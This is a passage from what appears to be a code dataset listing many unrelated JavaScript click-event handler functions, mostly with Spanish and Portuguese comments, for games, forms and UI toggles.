\n\t\t if( $(elemt).closest(\"div\").text().indexOf(\"Pasaporte\") != (-1)) {\n\t\t\t\t console.log($(elemt).closest(\"div\").text());\n\t\t\t\t$(\".cred_image:eq(2) input.custumStlFileUploadPreview\").trigger(\"click\");\n\t\t\t\t//$(\".cred_image:eq(2)\").addClass(\"opacity\");\n\t\t } \n\t}\n\t\n \n if($(elemt).closest(\"form\").find(\"select\").attr(\"id\") != \"type_loan\"){\n \t$(elemt).closest(\"form\").find(\"select\").val(type);\n \t$(elemt).closest(\"form\").find(\"select\").change();\n \t$(elemt).closest(\"form\").find(\"select\").blur();\n \t$(elemt).closest(\"form\").find(\".custumStlFileUploadPreview input\").trigger(\"click\");\n }\n if($(elemt).closest(\"form\").find(\"select\").attr(\"id\") == \"type_loan\" ){\n \tcambiarArchivo(type, \"#file_compIncome\", \"#rubroIngresos\");\t\n }\n \n if($(elemt).closest(\"#listCredFm2\").length ){\n \tconsole.log(\"ya entro a tipoIdentificacion\");\n \t cambiarArchivo(type, \"#file_credIdentificacion\", \"#rubroTipoIdentificacion\");\n \t//$(element).closest(\"frm_loan\").find(\".btn_comprobante[tipodoc='\"+type+\"']\");\n }\n\n}","function _ventanaPlanCuentas718(e) {\n\tif (e.type == \"keydown\" && e.which == 119 || e.type == 'click') {\n\t\t_ventanaDatos({\n\t\t\ttitulo: \"VENTANA CUENTA MAYOR\",\n\t\t\tcolumnas: [\"LLAVE_MAE\", \"NOMBRE_MAE\"],\n\t\t\tdata: $_planCuentas718,\n\t\t\tcallback_esc: () => { validarCtaTercero718() },\n\t\t\tcallback: (data) => {\n\t\t\t\tlet caja = e.currentTarget.id;\n\t\t\t\tif (caja == 'ctaingrTercer_718') {\n\t\t\t\t\tSAL718.MAESTROS.LLAVE_MAE = data.LLAVE_MAE; SAL718.MAESTROS.NOMBRE_MAE = data.NOMBRE_MAE;\n\t\t\t\t\t$('#ctaingrTercer_718').val(data.LLAVE_MAE.toString().trim())\n\t\t\t\t\t$('#ctaDescripTercer_718').val(data.NOMBRE_MAE.toString().trim())\n\t\t\t\t\tvalidarTercero718();\n\t\t\t\t} else {\n\t\t\t\t\tswitch ($_USUA_GLOBAL[0].PUC) {\n\t\t\t\t\t\tcase '1': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '2': document.getElementById('codCoop_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '3': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '4': document.getElementById('codOficial_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tcase '6': document.getElementById('codPuc_718').value = data.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t\tdefault: document.getElementById('codPuc_718').value = SAL718.MAESTROS.LLAVE_MAE + ' ' + data.NOMBRE_MAE; break;\n\t\t\t\t\t}\n\t\t\t\t\tvalidarDivision718();\n\t\t\t\t}\n\t\t\t}\n\t\t});\n\t}\n}","function selectButton(e){\n \t//A Player vamos agregando en el array las Posicion(o seas el Turno de los Players)\n \tvar currentPlayer = listPlayers[turno];\n \tif(hasPositionByButton(e)){\n\t \tcurrentPlayer.addNewPosition(e);\n\t \t//Que imprima en el input el turno que le toca\n\t \tsetTurnOnView();\n\t \t//Para Dibujar en el Button\n\t \tdrawButton(e);\n\t \t//Para Validar si hay un ganador\n\t \tValidateWinner(currentPlayer); \t\n\t //Cambiamos el Turno, al que le toca\n\t changeTurn();\n\t }\n }","function setTunnetutMouseAction() {\n let tunnetut = document.getElementsByClassName(\"tunnettu sana\");\n if (tunnetut != undefined && tunnetut != null && tunnetut.length > 0) {\n for (let el of tunnetut) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n let tunnetut2 = document.getElementsByClassName(\"tunnettu sana vinkki\");\n if (tunnetut2 != undefined && tunnetut2 != null && tunnetut2.length > 0) {\n for (let el of tunnetut2) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n let tunnetut4 = document.getElementsByClassName(\"tunnettu vinkki sana\");\n if (tunnetut4 != undefined && tunnetut4 != null && tunnetut4.length > 0) {\n for (let el of tunnetut4) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n let tunnetut3 = document.getElementsByClassName(\"fade-in tunnettu sana\");\n if (tunnetut3 != undefined && tunnetut3 != null && tunnetut3.length > 0) {\n for (let el of tunnetut3) {\n el.onclick = mouseClickActScopePreserver(el);\n }\n }\n\n return true;\n}","function falso(v) {\n\n boton.disabled = false;\n\n boton.addEventListener(\"click\", function () {\n isNotTrue(v);\n\n boton.style.display = \"none\";\n });\n\n}"],"string":"[\n \"function ClickGerarElite() {\\n GeraElite();\\n AtualizaGeral();\\n}\",\n \"function ClickGerarAleatorioElite() {\\n GeraAleatorioElite();\\n AtualizaGeral();\\n}\",\n \"function ClickHabilidadeEspecial() {\\n // TODO da pra melhorar.\\n AtualizaGeral();\\n}\",\n \"function ClickGastarFeitico() {\\n AtualizaGeral();\\n}\",\n \"function do_click(reserva) {\\n\\tvar v = document.getElementById(reserva);\\n\\tif (v.alt != 2) {\\n\\t\\tif (fila == 0) { // Comprobacion de que es la primera fila que se\\n\\t\\t\\t\\t\\t\\t\\t// escoje\\n\\t\\t\\tfila = parseInt(reserva / 100);\\n\\t\\t\\tif (v.alt == 0) {\\n\\t\\t\\t\\tv.src = 'images/butacas/iconoLibre.ico';\\n\\t\\t\\t\\tv.alt = 1;\\n\\t\\t\\t\\tsetSeat(reserva);\\n\\t\\t\\t} else if (v.alt == 1) {\\n\\t\\t\\t\\tv.src = 'images/butacas/iconoElegido.ico';\\n\\t\\t\\t\\tv.alt = 0;\\n\\t\\t\\t\\tdeleteSeat(reserva);\\n\\t\\t\\t}\\n\\t\\t} else if (parseInt(reserva / 100) == fila) {\\n\\t\\t\\tif (v.alt == 0) {\\n\\t\\t\\t\\tif (contador < 10) {\\n\\t\\t\\t\\t\\tv.src = 'images/butacas/iconoLibre.ico';\\n\\t\\t\\t\\t\\tv.alt = 1;\\n\\t\\t\\t\\t\\tsetSeat(reserva);\\n\\t\\t\\t\\t} else\\n\\t\\t\\t\\t\\talert(\\\"No se puede comprar mas de 10 entradas\\\");\\n\\t\\t\\t} else if (v.alt == 1) {\\n\\t\\t\\t\\tv.src = 'images/butacas/iconoElegido.ico';\\n\\t\\t\\t\\tv.alt = 0;\\n\\t\\t\\t\\tdeleteSeat(reserva);\\n\\t\\t\\t}\\n\\t\\t} else\\n\\t\\t\\talert(\\\"Las entradas deben pertenecer a la misma fila\\\");\\n\\t}\\n}\",\n \"function ClickDescansar(valor) {\\n // Cura letal e nao letal.\\n EntradasAdicionarFerimentos(-PersonagemNivel(), false);\\n EntradasAdicionarFerimentos(-PersonagemNivel(), true);\\n EntradasRenovaSlotsFeiticos();\\n AtualizaGeralSemLerEntradas();\\n AtualizaGeral();\\n}\",\n \"function ClickGerarPontosDeVida(modo) {\\n GeraPontosDeVida(modo);\\n AtualizaGeral();\\n}\",\n \"function asignarEventos() {\\n _.click(function() {\\n\\n });\\n}\",\n \"function calificar(){\\n//comprobar si ya está vinculado para abrir una pagina emergente y un menú para seleccionar la ruta a calificar\\n//if(vincular()=true)\\n//open window\\n//Al dar clic en el boton de calificar se debe cerrar la ventana emergente y mandar calificacion\\n//\\n}\",\n \"function onClick(e) {\\n let cantSalvo = tableroSalvo.querySelectorAll(\\\".active\\\").length;\\n let ajeno = tableroNaves.querySelectorAll(\\\".hit\\\").length + tableroNaves.querySelectorAll(\\\".fail\\\").length;\\n let propio = tableroSalvo.querySelectorAll(\\\".hit\\\").length + tableroSalvo.querySelectorAll(\\\".fail\\\").length;\\n\\n if(e.target.classList.contains(\\\"active\\\")) {\\n e.target.classList.remove(\\\"active\\\");\\n cantSalvo--;\\n } else if(cantSalvo < 5) {\\n e.target.classList.add(\\\"active\\\");\\n cantSalvo++;\\n }\\n\\n if (cantSalvo < 5 || app.turnos(propio, ajeno)) {\\n document.querySelector(\\\".btnShot\\\").setAttribute(\\\"disabled\\\", \\\"true\\\");\\n } else {\\n document.querySelector(\\\".btnShot\\\").removeAttribute(\\\"disabled\\\");\\n }\\n}\",\n \"function ClickEstilo(nome_estilo, id_select_secundario) {\\n var select_secundario = Dom(id_select_secundario);\\n if (nome_estilo == 'uma_arma' || nome_estilo == 'arma_escudo' || nome_estilo == 'arma_dupla' || nome_estilo == 'rajada' || nome_estilo == 'tiro_rapido') {\\n select_secundario.disabled = true;\\n } else if (nome_estilo == 'duas_armas') {\\n select_secundario.disabled = false;\\n } else {\\n Mensagem(Traduz('Nome de estilo invalido') + ': ' + Traduz(nome_estilo));\\n }\\n AtualizaGeral();\\n}\",\n \"function ClickGerarComum() {\\n GeraComum();\\n AtualizaGeral();\\n}\",\n \"function logo_click() {\\n if (pasos.paso1.aseguradoraSeleccionada != null && pasos.paso1.aseguradoraSeleccionada.id == pasos.paso1.listaAseguradoras[$(this).index()].id) {\\n componentes.progreso.porcentaje = 0;\\n componentes.progreso.barra.css({width: '0px'});\\n pasos.paso1.aseguradoraSeleccionada = null;\\n $(this).removeClass(\\\"seleccionada\\\");\\n componentes.pasos.paso1.numero_siniestro.prop('readonly', true);\\n } else {\\n if (pasos.paso1.aseguradoraSeleccionada == null) {\\n componentes.progreso.porcentaje = 5;\\n componentes.progreso.barra.css({width: '5%'});\\n }\\n pasos.paso1.aseguradoraSeleccionada = pasos.paso1.listaAseguradoras[$(this).index()];\\n $.get('http://localhost:8080/ReForms_Provider/wr/perito/buscarPeritoPorAseguradora/' + pasos.paso1.aseguradoraSeleccionada.id, respuesta_buscarPeritoPorAseguradora, 'json');\\n $(this).siblings(\\\".seleccionada\\\").removeClass(\\\"seleccionada\\\");\\n $(this).addClass(\\\"seleccionada\\\");\\n componentes.pasos.paso1.numero_siniestro.prop('readonly', false);\\n }\\n componentes.pasos.paso1.numero_siniestro.val('').focus();\\n componentes.pasos.paso1.numero_siniestro.keyup();\\n }\",\n \"function tzimhoniClick()\\n\\t\\t{\\n\\t\\tif (tzimhoniClickStatus==true){\\n\\t\\t\\tthis.instruction_txt.text=\\\"לחץ על רכיב שתרצה לדעת עליו יותר\\\";\\n\\t\\t\\tthis.tivoni_fade.visible=1;\\n\\t\\t\\tthis.heraion_fade.visible=1;\\n\\t\\t\\tthis.kasher_fade.visible=1;\\n\\t\\t\\tthis.tzimhoni_fade.visible=0;\\n\\t\\t\\ttzimhoniClickStatus=false;\\n\\t\\t\\ttivoniClickStatus=true;\\n\\t\\t\\tkasherClickStatus=true;\\n\\t\\t\\theraionClickStatus=true;\\n\\t\\t\\tthis.tamago.alpha=1;\\n\\t\\t\\tthis.tivoni.mouseEnabled=false;\\n\\t\\t\\tthis.heraion.mouseEnabled=false;\\n\\t\\t\\tthis.kasher.mouseEnabled=false;\\n\\t\\t\\tthis.unagi.mouseEnabled=false;\\n\\t\\t\\tthis.tobiko.mouseEnabled=false;\\n\\t\\t\\tthis.tuna.mouseEnabled=false;\\n\\t\\t\\tthis.surimi.mouseEnabled=false;\\n\\t\\t\\tthis.palamida.mouseEnabled=false;\\n\\t\\t\\tthis.salmon.mouseEnabled=false;\\n\\t\\t\\tthis.skin.mouseEnabled=false;\\n\\t\\t\\tthis.ekora.mouseEnabled=false;\\n\\t\\t}\\n\\t\\telse{\\n\\t\\t\\tthis.instruction_txt.text=\\\"לחץ לבחירת המאפיין\\\";\\n\\t\\t\\tthis.tivoni_fade.visible=0;\\n\\t\\t\\tthis.heraion_fade.visible=0;\\n\\t\\t\\tthis.kasher_fade.visible=0;\\n\\t\\t\\tthis.tzimhoni_fade.visible=0;\\n\\t\\t\\ttzimhoniClickStatus=true;\\n\\t\\t\\ttivoniClickStatus=true;\\n\\t\\t\\tkasherClickStatus=true;\\n\\t\\t\\theraionClickStatus=true;\\n\\t\\t\\tthis.tivoni.mouseEnabled=true;\\n\\t\\t\\tthis.heraion.mouseEnabled=true;\\n\\t\\t\\tthis.kasher.mouseEnabled=true;\\n\\t\\t\\tthis.unagi.mouseEnabled=true;\\n\\t\\t\\tthis.tobiko.mouseEnabled=true;\\n\\t\\t\\tthis.tuna.mouseEnabled=true;\\n\\t\\t\\tthis.surimi.mouseEnabled=true;\\n\\t\\t\\tthis.palamida.mouseEnabled=true;\\n\\t\\t\\tthis.salmon.mouseEnabled=true;\\n\\t\\t\\tthis.skin.mouseEnabled=true;\\n\\t\\t\\tthis.ekora.mouseEnabled=true;\\n\\t\\t}\\n\\t\\t\\n\\t\\t}\",\n \"function avvisaUtente() { // senza argomento\\n alert('Ciao utente, ti sto avvisando');\\n}\",\n \"function click(cuadrado) {\\n\\n // Función que nos permite activar el timer\\n function activaTiempo(){\\n tiempoJuego = setInterval(actualizaTiempo, 1000)\\n tiempoActivo = true\\n }\\n \\n // obtenemos el id del cuadrado\\n let idActual = cuadrado.id\\n // Si el tiempo no ha sido activado lo activamos\\n if (!tiempoActivo) activaTiempo()\\n // Si el juego ya ha terminado nos salimos\\n if (juegoAcabado) return\\n // Si el cuadrado ha sido chequeado o contiene una bandera nos salimos\\n if (cuadrado.classList.contains('chequeado') || cuadrado.classList.contains('bandera')) return\\n // Si contiene una bomba simplemente acaba el juego\\n if (cuadrado.classList.contains('bomba')) {\\n gameOver(cuadrado)\\n } \\n // En caso contrario lo descubrimos y colocamos el valor que contiene en el data que sera visible\\n else {\\n let total = cuadrado.getAttribute('data')\\n if (total !=0) {\\n cuadrado.classList.add('chequeado')\\n if (total == 1) cuadrado.classList.add('uno')\\n if (total == 2) cuadrado.classList.add('dos')\\n if (total == 3) cuadrado.classList.add('tres')\\n if (total == 4) cuadrado.classList.add('cuatro')\\n if (total == 5) cuadrado.classList.add('cinco')\\n if (total == 6) cuadrado.classList.add('seis')\\n if (total == 7) cuadrado.classList.add('siete')\\n if (total == 8) cuadrado.classList.add('ocho')\\n cuadrado.innerHTML = total\\n return\\n }\\n // Solo llegamos a este caso si el cuadrado es un cuadrado que permite expandirse \\n chequeaCuadrado(cuadrado, idActual)\\n }\\n cuadrado.classList.add('chequeado')\\n}\",\n \"function escucha_users(){\\n\\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\\n\\tse muestra en la pag users.php*/\\n\\tvar x=document.getElementsByTagName(\\\"article\\\");/*selecciono todos los usuarios ya qye se encuentran\\n\\tdentro de article*/\\n\\tfor(var z=0; z #user\\\");\\n if(localStorage.getItem(\\\"user\\\")){\\n btn.onclick = (e)=>{\\n if(localStorage.getItem(\\\"user\\\")){\\n location.replace(\\\"/login/informacioncuenta\\\");\\n }else{\\n urlCreateAccount();\\n }\\n }\\n }else{\\n urlCreateAccount();\\n }\\n}\",\n \"function ClickDesfazer() {\\n gEntradas = JSON.parse(gEstado.Restaura());\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function ClickVisao(modo) {\\n // Loop para esconder tudo.\\n for (var j = 0; j < tabelas_visoes[modo].esconder.classes.length; ++j) {\\n var divs_esconder = DomsPorClasse(tabelas_visoes[modo].esconder.classes[j]);\\n for (var i = 0; i < divs_esconder.length; ++i) {\\n divs_esconder[i].style.display = 'none';\\n }\\n }\\n for (var i = 0; i < tabelas_visoes[modo].esconder.elementos.length; ++i) {\\n var divs_combate = Dom(tabelas_visoes[modo].esconder.elementos[i]);\\n divs_combate.style.display = 'none';\\n }\\n // Loop para mostrar.\\n for (var j = 0; j < tabelas_visoes[modo].mostrar.classes.length; ++j) {\\n var divs_mostrar = DomsPorClasse(tabelas_visoes[modo].mostrar.classes[j]);\\n for (var i = 0; i < divs_mostrar.length; ++i) {\\n divs_mostrar[i].style.display = 'block';\\n }\\n }\\n for (var i = 0; i < tabelas_visoes[modo].mostrar.elementos.length; ++i) {\\n var divs_combate = Dom(tabelas_visoes[modo].mostrar.elementos[i]);\\n divs_combate.style.display = 'block';\\n }\\n gEntradas.modo_visao = modo;\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function verify() {\\n //verifica en que pagina se encuentra, dependiendo de la pagina, su respectiva verificacion\\n\\n\\n\\n $(\\\"#altaProductoBoton\\\").on(\\\"click\\\", verificarAltaProducto);\\n $(\\\"#altaCategoriaBoton\\\").on(\\\"click\\\", verificarAltaCategoria);\\n $(\\\"#bajaProductoBoton\\\").on(\\\"click\\\", verificarBajaProducto);\\n $(\\\"#modificarproductoBoton\\\").on(\\\"click\\\", verficiarModificarProducto);\\n $(\\\"#modificarProductoConfirmBoton\\\").on(\\\"click\\\", verficiarModificarConfirmProducto);\\n\\n\\n}\",\n \"function clickAssess() {\\n\\t$.trigger(\\\"clickAssess\\\");\\n}\",\n \"siguienteNivel() {\\n this.subNivel = 0;\\n this.iluminarSecuencia();\\n this.agregarEventosClick();\\n }\",\n \"function ClickSalvar() {\\n AtualizaGeral(); // garante o preenchimento do personagem com tudo que ta na planilha.\\n var nome = gPersonagem.nome.length > 0 ? gPersonagem.nome : 'saved_entradas';\\n if (nome == '--') {\\n Mensagem('Nome \\\"--\\\" não é válido.');\\n return;\\n }\\n HabilitaOverlay();\\n SalvaNoArmazem(nome, JSON.stringify(gEntradas), function() {\\n CarregaPersonagens();\\n DesabilitaOverlay();\\n Mensagem(Traduz('Personagem') + ' \\\"' + nome + '\\\" ' + Traduz('salvo com sucesso.'));\\n });\\n}\",\n \"function ClickVisualizacaoModoMestre() {\\n gEntradas.modo_mestre = Dom('input-modo-mestre').checked;\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function checkUser(){\\n //console.log('check user started');\\n cumputerTurn = false;\\n if(userClicked == true){\\n \\n }\\n}\",\n \"function ClickAdicionarEscudo() {\\n gEntradas.escudos.push({ chave: 'nenhum', obra_prima: false, bonus: 0 });\\n AtualizaGeralSemLerEntradas();\\n}\",\n \"function clickEnCasilla(x, y) {\\n if (miPartida.tableroGirado) {\\n x = 7 - x;\\n y = 7 - y;\\n }\\n\\n let blanca = esBlanca(miPartida.tablero[x][y]);\\n let negra = esNegra(miPartida.tablero[x][y]);\\n\\n if (!miPartida.hayPiezaSelec) {\\n if (miPartida.turno && blanca || !miPartida.turno && negra)\\n realizarSeleccionPieza(x, y);\\n } else {\\n if (esMovValido(x, y)) {\\n if (siPeonPromociona(x))\\n modalPromocionPeon(x, y);\\n else {\\n enviarMovimiento(x, y, null);\\n realizarMovimientoYComprobaciones(x, y, false);\\n }\\n } else {\\n // Si la pieza pulsada no es la que estaba seleccionada, selecciono la nueva\\n if (x !== miPartida.piezaSelec.x || y !== miPartida.piezaSelec.y) {\\n // Compruebo que este pulsando una pieza y que sea de mi color\\n if (miPartida.turno && blanca || !miPartida.turno && negra) {\\n eliminarEstiloMovPosibles();\\n realizarSeleccionPieza(x, y);\\n }\\n } else { // Si la pieza pulsada es la que estaba seleccionada, la deselecciono\\n eliminarEstiloMovPosibles();\\n deseleccionarPieza();\\n }\\n }\\n }\\n}\",\n \"function iniciar() {\\n cuerpoTablaUsuario = document.getElementById('cuerpoTablaUsuario'); \\n divRespuesta = document.getElementById('divRespuesta');\\n var botonAlta = document.getElementById('botonAlta');\\n botonAlta.addEventListener('click', altaUsuario); \\n}\",\n \"function IniciarEventos(){\\n\\t$('#guardar').click(guardardatos)\\n\\t$('#cancelar').click(function(){window.history.back()})\\n\\tshowmessage()\\n}\",\n \"function escucha_Permisos(){\\n\\t/*Activo la seleccion de usuarios para modificarlos, se selecciona el usuario de la lista que\\n\\tse muestra en la pag users.php*/\\n\\tvar x=document.getElementsByClassName(\\\"work_data\\\");/*selecciono todos los usuarios ya qye se encuentran\\n\\tdentro de article*/\\n\\tfor(var z=0; z= 620 && mouseY <= 720 && mouseX >= 1040 && mouseX <= 1280) {\\n aanvalActie = false;\\n aanvalKnopStatus = false;\\n beweegActie = false;\\n beweegKnopStatus = false;\\n beurtVeranderen();\\n veranderKleur(donkerblauw,wit);\\n veranderKleur(lichtblauw,wit);\\n }\\n}\",\n \"function ocultable_click() {\\n if (!edicion) {\\n $(this).siblings('.ocultable-contenido').slideToggle();\\n $(this).parent('.ocultable').siblings('.ocultable').children('.ocultable-contenido').slideUp()();\\n }\\n }\",\n \"function conocerEvento(e)\\n{\\n\\n\\tvar evento = e || window.event;\\n\\n\\t\\t//document.getElementById(\\\"evento\\\").value = e.type;\\n\\n // console.log(\\\"evento\\\");\\n // console.log(e);\\n\\n if(evento.type == \\\"click\\\")\\n {\\n\\n //console.log(\\\"nombre del click\\\");\\n //console.log(evento.path[0].id);\\n\\n var nombreclick=evento.path[0].id;\\n\\n\\n //continuar\\n if(nombreclick.substr(0,10) == \\\"continuar\\\")\\n {\\n //alert(\\\"click\\\");\\n //var id=nombreclick.substr(7);\\n //console.log(\\\"comienza valor\\\");\\n //console.log(nombreclick.substr(8));\\n //alert(\\\"empezo entreno\\\");\\n\\n //id_plan = document.getElementById(\\\"codigoplan\\\").value;\\n //console.log(id_sesion);\\n //almacenarlocal('id_plan', id_plan);\\n //una();\\n\\n }\\n\\n\\n\\n\\n }\\n\\n\\n // switch(evento.type) {\\n // case 'mouseover':\\n // this.style.borderColor = 'black';\\n // break;\\n // case 'mouseout':\\n // this.style.borderColor = 'silver';\\n // break;\\n // }\\n\\n}\",\n \"function asignarEventoClickAprendiz(idAprendiz,identificacion,nombreCompleto,idFicha,idDetalleEstado,contador){\\r\\n\\r\\n\\t$(\\\"#btnModificarAprendiz\\\"+contador).click(function(){\\r\\n\\r\\n\\t\\tlimpiarFormulario(\\\"formModificarAprendiz\\\");\\r\\n\\t\\t\\r\\n\\t\\t$(\\\"#txtIdAprendiz\\\").val(idAprendiz);\\r\\n\\t\\t\\r\\n\\t\\t$(\\\"#txtIdentificacionAprendizMod\\\").val(identificacion);\\r\\n\\t\\t$(\\\"#txtNombreCompletoAprendizMod\\\").val(nombreCompleto);\\r\\n\\t\\t$(\\\"#selectFichaAprendizMod\\\").val(idFicha);\\r\\n\\t\\t$(\\\"#selectDetalleEstadoAprendizMod\\\").val(idDetalleEstado);\\r\\n\\t\\t\\r\\n\\t});\\r\\n}\",\n \"function changeUserStatut() {\\n $('.sidebar').on('click', '.user-login li a', function(e) {\\n e.preventDefault();\\n var statut = $(this).find('span').text();\\n currentStatut = $('.user-login button span').text();\\n $('.user-login button span').text(statut);\\n if (statut == 'Busy') {\\n $('.user-login button i:not(.fa)').removeClass().addClass('busy');\\n }\\n if (statut == 'Invisible') {\\n $('.user-login button i:not(.fa)').removeClass().addClass('turquoise');\\n }\\n if (statut == 'Away') {\\n $('.user-login button i:not(.fa)').removeClass().addClass('away');\\n }\\n });\\n}\",\n \"function posarBoleta(e) {\\r\\n// console.log(\\\"has clicat el \\\"+ e.target.getAttribute('id'));\\r\\n if (numDeClics==0) {\\r\\n //si guanya\\r\\n if (e.target.getAttribute('id')==aleatorio) {\\r\\n resultat(\\\"guany\\\", \\\"Felicitats :)\\\");\\r\\n // resultat(\\\"Felicitats :)\\\");\\r\\n //si perd\\r\\n }else{\\r\\n // resultat(\\\"Torna a provar! :S\\\");\\r\\n resultat(\\\"perd\\\", \\\"Torna a provar! :S\\\");\\r\\n\\r\\n }\\r\\n numDeClics=numDeClics+1;\\r\\n }\\r\\n}\",\n \"function cambiarEstado(e) {\\r\\n e.preventDefault();\\r\\n var contadore = 0;\\r\\n if (e.target.classList.contains('mes-Mesa') || e.target.classList.contains('mes-Mesa-circular')) {\\r\\n if (e.target.classList.contains('activo')) {\\r\\n e.target.classList.remove('activo');\\r\\n } else {\\r\\n for (var x = 0; x < reserva.children.length; x++) {\\r\\n if (reserva.children[x].classList.contains('activo')) {\\r\\n contadore++;\\r\\n }\\r\\n }\\r\\n if (contadore === 0 && !e.target.classList.contains('reservado')) {\\r\\n e.target.classList.add('activo');\\r\\n } else {\\r\\n Swal.fire({\\r\\n icon: 'error',\\r\\n title: 'No puede reservar mas de una mesa ni reservar una ocupada',\\r\\n text: 'Error'\\r\\n });\\r\\n }\\r\\n }\\r\\n }\\r\\n}\",\n \"creanOnClick() {\\n\\n var currentAssignmentType = AssignmentReactiveVars.CurrentAssignmentType.get();\\n\\n switch (currentAssignmentType) {\\n case AssignmentType.USERTOTASK:\\n console.error(\\\"Template.assignmentCalendar.events.click .creneau\\\", \\\"User can't normally click on this kind of element when in userToTask\\\");\\n return;\\n break;\\n case AssignmentType.TASKTOUSER: //only display users that have at least one availability matching the selected time slot\\n break;\\n }\\n }\",\n \"function verAcuerdoEspecialBonificaciones(id)\\n{\\nif(document.getElementById(\\\"divDatosAcuerdoEspecialBonificaciones\\\"+id).style.display==\\\"block\\\")\\n {\\n document.getElementById(\\\"divDatosAcuerdoEspecialBonificaciones\\\"+id).style.display=\\\"none\\\";\\n document.getElementById(\\\"buttonVerDatosAcuerdoEspecialBonificaciones\\\"+id).innerHTML=\\\"Ver\\\";\\n }\\nelse\\n {\\n var requerimiento = new RequerimientoGet();\\n requerimiento.setURL(\\\"acuerdobonificaciones/seleccionaracuerdo/ajax/datosAcuerdoBonificaciones.php\\\");\\n requerimiento.addParametro(\\\"id\\\",id);\\n requerimiento.addListener(respuestaVerDatosAcuerdoEspecialBonificaciones);\\n requerimiento.ejecutar();\\n }\\n\\n}\",\n \"elegirColor(ev){\\n console.log(ev);\\n //capturamos el color que presiona el usuario\\n const nombreColor = ev.target.dataset.color;\\n //convertimos a numero el color que selecciona el usuario\\n const numeroColor = this.transformarColorANumero(nombreColor);\\n //iluminamos el color que apreto el usuario\\n this.iluminarColor(nombreColor);\\n //comprobacion de lo que presiona el usuario, si elige bien, se incrementa el subnivel\\n if (numeroColor === this.secuencia[this.subnivel]) {\\n this.subnivel++;\\n //comprobamos si el subnivel es igual al nivel en que esta el usuario, si es asi, incrementamos el nivel\\n if (this.subnivel === this.nivel) {\\n this.nivel++;\\n //eliminamos los eventos click que ya ocurrieron\\n this.eliminarEventosClick();\\n if (this.nivel === (ULTIMO_NIVEL +1)) {\\n this.ganarJuego();\\n\\n } else {\\n setTimeout(this.siguienteNivel,1500);\\n }\\n } \\n } else {\\n //PIERDE\\n this.perderJuego();\\n }\\n \\n }\",\n \"function mostrarDevoluciones(){ // Cuando toque el boton \\\"devoluciones\\\" voy a ver la seccion (hacer devoluciones)\\r\\n limpiar(); //limpio campos de texto y mensajes al usuario\\r\\n document.querySelector(\\\"#homeDocente\\\").style.display = \\\"block\\\"; // habilito division docente\\r\\n document.querySelector(\\\"#bodyHome\\\").style.display = \\\"none\\\"; // oculto body bienvenida\\r\\n document.querySelector(\\\"#divAsignarNivel\\\").style.display = \\\"none\\\"; // oculto plantear ejercicios a alumnos\\r\\n document.querySelector(\\\"#divPlantearEje\\\").style.display = \\\"none\\\"; // oculto plantear tarea\\r\\n document.querySelector(\\\"#divEntregas\\\").style.display = \\\"none\\\"; // oculto tabla\\r\\n document.querySelector(\\\"#divDevoluciones\\\").style.display = \\\"block\\\"; // muestro redactar devoluciones a tareas\\r\\n document.querySelector(\\\"#divEstadisticas\\\").style.display = \\\"none\\\"; // oculto visualizar estadisticas\\r\\n}\",\n \"metodoClick(){\\n console.log(\\\"diste click\\\")\\n }\",\n \"function logNewsClickForUser(user_id, news_id, user_ip) {\\n client.request('logNewsClickForUser', [user_id, news_id, user_ip], function(err, error, response) {\\n if (err) throw err;\\n });\\n }\",\n \"function fAppMeteo() {\\n $(\\\"#bokm\\\").click(fAffMeteo);\\n}\",\n \"function sitClick(sitID) {\\n \\n currentSituation = findSituationByID(sitID);\\n refreshRateIndicator();\\n refreshSituationButtons();\\n refreshSpiritQuotes();\\n refreshSpiritIcon();\\n refreshUnderstanding();\\n \\n}\",\n \"function _attivaIsola(){\\r\\n\\t\\t\\t$('.isola').each(function(){\\r\\n\\t\\t\\t\\tif($(this).is('[id^=\\\"isola'+isolaIndex+'\\\"]')){\\r\\n\\t\\t\\t\\t\\t$(this).addClass('attiva').removeClass('spenta');\\r\\n\\t\\t\\t\\t}else{\\r\\n\\t\\t\\t\\t\\t$(this).removeClass('attiva').addClass('spenta');\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t});\\r\\n\\t\\t\\t$('.testo-isola#t'+isolaIndex).addClass('presente');\\r\\n\\r\\n\\t\\t\\tclicking = true;\\r\\n\\t\\t}\",\n \"function mostrarEstDocente(){ // Cuando toque el boton \\\"estadisticas\\\" voy a ver la seccion (ver estadisticas)\\r\\n limpiar(); //limpio campos de texto y mensajes al usuario\\r\\n document.querySelector(\\\"#homeDocente\\\").style.display = \\\"block\\\"; //Habilito division docente\\r\\n document.querySelector(\\\"#bodyHome\\\").style.display = \\\"none\\\"; //Oculto body bienvenida\\r\\n document.querySelector(\\\"#divAsignarNivel\\\").style.display = \\\"none\\\"; // oculto plantear ejercicios a alumnos\\r\\n document.querySelector(\\\"#divPlantearEje\\\").style.display = \\\"none\\\"; // oculto plantear tarea\\r\\n document.querySelector(\\\"#divDevoluciones\\\").style.display = \\\"none\\\"; // oculto redactar devoluciones a tareas\\r\\n document.querySelector(\\\"#divEstadisticas\\\").style.display = \\\"block\\\"; // muestro visualizar estadisticas\\r\\n generarListaAlumnos();\\r\\n}\",\n \"function ActivarAyudaContextual(bDevolverExitoEjecucion)\\r\\n{\\r\\n\\tif (bARQAyudasContActivas)\\r\\n\\t\\tquitarIconoAyudasCont();\\r\\n\\telse\\r\\n\\t\\tponerIconoAyudasCont();\\t\\t\\r\\n}\",\n \"function triggerEvent(event, id) {\\n\\n event.addEventListener('click', function (e) {\\n if (event.id == \\\"fallevent\\\") {\\n document.getElementById(\\\"patient!@!local\\\").classList.add('rotate-fall');\\n }\\n if (event.id == \\\"normalevent\\\") {\\n 